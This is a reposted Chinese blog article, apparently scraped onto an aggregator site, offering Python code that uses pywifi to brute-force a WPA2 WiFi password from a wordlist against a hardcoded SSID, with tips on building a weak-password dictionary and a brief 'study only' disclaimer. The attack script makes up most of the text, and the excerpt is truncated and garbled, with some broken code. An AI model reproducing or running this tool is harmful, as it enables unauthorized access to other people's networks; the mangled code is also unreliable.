Python破解WIFI密码完整源代码,实测可成功破解
发布时间:2023-02-16 14:22:52 所属栏目:Python 来源:互联网
导读:目录 # 修正记录:2022-12-01 1,先安装Python环境(这个不用多说了吧) 2,安装PyWifi 3,自己手工整理高频弱口令,不建议程序生成的字典,生成的字典成功率实在太低。 4,自己生成字典的算法: 5,破解WIF代码第一种(2022-12-01): 6,破解WIF代码第二种:
wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise e if __name__ == '__main__': main() 6,破解WIF代码第二种: import pywifi from pywifi import const import time import datetime # 测试连接,返回链接结果 def wifiConnect(pwd): # 抓取网卡接口 wifi = pywifi.PyWiFi() # 获取第一个无线网卡 ifaces = wifi.interfaces()[0] # 断开所有连接 ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() if wifistatus == const.IFACE_disCONNECTED: # 创建WiFi连接文件 profile = pywifi.Profile() # 要连接WiFi的名称 profile.ssid = "TP_LINK_44D0" # 网卡的开放状态 profile.auth = const.AUTH_ALG_OPEN # wifi加密算法,一般wifi加密算法为wps profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密单元 profile.cipher = const.CIPHER_TYPE_CCMP # 调用密码 profile.key = pwd # 删除所有连接过的wifi文件 ifaces.remove_all_network_profiles() # 设定新的连接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) # wifi连接时间 time.sleep(2) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print("已有wifi连接") # 读取密码本 def readPassword(): success = False print("****************** WIFI破解 ******************") # 密码本路径 path = "pwd.txt" # 打开文件 file = open(path,"r") start = datetime.datetime.Now() while True: try: pwd = file.readline() # 去除密码的末尾换行符 pwd = pwd.strip('n') bool = wifiConnect(pwd) if bool: print("[*] 密码已破解:",pwd) print("[*] WiFi已自动连接!!!") success = True break else: # 跳出当前循环,进行下一次循环 print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("TP_LINK_44D0",pwd)) except: continue end = datetime.datetime.Now() if(success): print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start)) else: print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!") exit(0) if __name__=="__main__": readPassword() 7,执行破解成功效果截图(成功连接): 8,总结: 实话告诉你,现在WPA2 WIF密码破解成功的概率基本为0,不要妄想可以通过一段脚本就独步天下。哈哈,那是不可能的。WPA2的加密方式决定了密码是基本不可能被破解的。但是。不可能被破解,不代表不能被尝试验证。尝试是需要代价的,一次密码尝试至少需要1.5秒时间。所以。如果想用跑字典方式来破解周边WIFI。我认为只需要手工整理1000-10000个左右>=8的全网高频弱口令密码即可。跑起来也快。成不成就这几下子。据有关组织统计。10000个高频密码基本可以涵盖全网60%的密码。真有这么高的概率。信不信由你。 9,温馨提示。 代码仅供学习用途。勿用于非法用途! (编辑:十堰站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
推荐文章
站长推荐
- python – sqlalchemy将mixin列移动到最后
- python – Django – get_or_create无效
- python – SQLAlchemy过滤器查询由相关对象
- python – Numpy相当于if / else list comprehen
- python – 有效地减去不同形状的numpy数组
- flask:wsgi-middleware vs before_和after_requ
- wpf – Dispatcher与后台线程的区别?
- Django在内联表单管理中获取实例
- python – 替换numpy数组中的元素,避免循环
- python – 来自Windows的OpenCV构建错误“RC对象
热点阅读